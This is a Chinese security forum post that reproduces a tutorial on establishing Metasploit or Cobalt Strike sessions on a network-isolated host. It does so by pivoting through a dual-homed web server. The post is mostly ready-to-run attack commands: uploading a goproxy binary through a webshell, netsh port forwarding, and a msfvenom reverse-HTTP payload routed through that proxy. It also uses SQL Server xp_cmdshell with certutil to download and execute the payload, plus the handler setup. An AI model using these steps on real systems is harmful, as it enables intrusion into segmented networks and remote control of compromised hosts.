安全矩阵

 找回密码
 立即注册
搜索
查看: 2374|回复: 0

利用goproxy http上线不出网主机

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-8-12 09:37:42 | 显示全部楼层 |阅读模式
原文链接:利用goproxy http上线不出网主机

0x01 测试环境
  1. 攻击机(Kali):192.168.56.101
  2. 受害机1(Web):192.168.56.102、192.168.186.3 - 双网卡
  3. 受害机2(Data):192.168.186.4 - 断网机
复制代码
0x02 goproxy http代理上线MSF/CS
我们先将goproxy项目的proxy.exe工具通过中国菜刀上传至目标磁盘可读写目录中,执行以下命令在这台出网主机上开启一个8080端口的HTTP代理供后期与不出网主机进行通讯。
C:\ProgramData\proxy.exe http -t tcp -p "0.0.0.0:8080" --daemon

0.0.0.0/127.0.0.1区别:
  1. 0.0.0.0:本机上的所有IPV4地址;
  2. 127.0.0.1:环回地址,仅本地接口IP地址;
复制代码
这一步可直接省略跳过
然后再利用系统自带的netsh命令将这台主机56出网段的HTTP代理8080端口转发至186不出网段的8888端口上,用于后期在MSF监听时设置HTTP代理。
  1. 添加端口转发
  2. netsh interface portproxy add v4tov4 listenaddress=192.168.186.3 listenport=8888 connectaddress=192.168.56.102 connectport=8080

  3. 删除端口转发
  4. netsh interface portproxy delete v4tov4 listenaddress=192.168.186.3 listenport=8888

  5. 显示所有端口转发
  6. netsh interface portproxy show all
复制代码



用msfvenom命令生成个meterpreter_reverse_http载荷文件,需要加上以下几个HTTP代理参数,填入186不出网段内网IP的HTTP代理:http://192.168.186.3:8080
  •         HttpProxyType:代理类型(HTTP);
  •         HttpProxyHost:代理地址(192.168.186.3);
  •         HttpProxyPort:代理端口(8080);

msfvenom -p windows/x64/meterpreter_reverse_http LHOST=192.168.56.101 LPORT=443 HttpProxyType=HTTP HttpProxyHost=192.168.186.3 HttpProxyPort=8080 -f exe > /tmp/stageless.exe

利用中国菜刀的上传/下载功能将该文件放至192.168.186.3的Web服务器中供192.168.186.4断网数据库服务器下载,执行以下命令将stageless.exe下载至断网机磁盘中。
EXEC master..xp_cmdshell 'certutil -urlcache -split -f http://192.168.186.3/stageless.exe C:\ProgramData\stageless.exe'

handler监听模块这里必须也要用meterpreter_reverse_http,配置好相关选项后执行监听,然后在中国菜刀中利用xp_cmdshell组件执行stageless.exe后即可成功上线。‍
  1. msf5 > use exploit/multi/handler
  2. msf5 exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_http
  3. msf5 exploit(multi/handler) > set lhost 192.168.56.101
  4. msf5 exploit(multi/handler) > set lport 443
  5. msf5 exploit(multi/handler) > set httpproxytype HTTP
  6. msf5 exploit(multi/handler) > set httpproxyhost 192.168.186.3
  7. msf5 exploit(multi/handler) > set httpproxyport 8080
  8. msf5 exploit(multi/handler) > exploit

  9. EXEC master..xp_cmdshell 'C:\ProgramData\stageless.exe'
复制代码


流量走向如下:
  1. 192.168.186.4->192.168.186.3(192.168.56.102):8080->C2
  2. 192.168.186.4->192.168.186.3:8888->192.168.56.102:8080->C2
复制代码
httpproxytype、httpproxyhost、httpproxyport这几个高级参数选项在options命令中是看不到的,需要用advanced命令才可看到,如下图。

如需上线至CobaltStrike则可以创建一个新的监听器,有效载荷选择为Beacon HTTP,在HTTP Proxy处填写代理地址:http://192.168.186.3:8080
将在Windows Executable(S)生成的可执行马儿文件上传/下载至192.168.186.4断网数据库服务器中执行即可成功上线。

注意事项:
利用这种方式上线不出网主机时得注意下,生成MSF文件和设置监听时必须使用stageless Payload,而CS则必须要使用Windows Executable(S),否则其他马儿即使执行成功也不会上线。
  1. stager:分阶段,第一阶段申请内存,第二阶段向C2发起请求并接受shellcode执行;
  2. windows/x64/meterpreter/reverse_http

  3. stageless:不分阶段,生成时就包含了所有文件,可以避免shellcode传输不畅造成目标无法上线;
  4. windows/x64/meterpreter_reverse_http
复制代码



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 16:27 , Processed in 0.013543 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表